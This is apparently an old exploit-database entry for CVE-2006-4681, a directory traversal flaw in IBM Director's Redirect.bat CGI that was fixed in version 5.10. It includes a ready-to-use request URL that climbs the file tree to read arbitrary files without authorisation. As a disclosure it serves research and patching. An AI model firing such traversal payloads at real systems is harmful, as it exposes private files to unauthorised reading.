IBM Director < 5.10 - 'Redirect.bat' Directory Traversal

Author: Daniel Clemens
type: remote
platform: windows
port: 411.0
date_added: 2006-09-06 
date_updated:  
verified: 1 
codes: OSVDB-30958;CVE-2006-4681 
tags: 
aliases:  
screenshot_url:  
application_url: 

There is a vulnerability within the Redirect.bat file on a ibm director
cgi which allows a directory transversal to take place which in turn
exposes most files on the system to be read without authorization.

http://ip.of.system:411/cgi-bin/Redirect.bat?file=%7C..\..\..\..\..\..\....\..\program%20files\ibm\director\version.key (or insert evil file here)


This was fixed in the 5.10 version of ibm director.

-Daniel Clemens

# milw0rm.com [2006-09-07]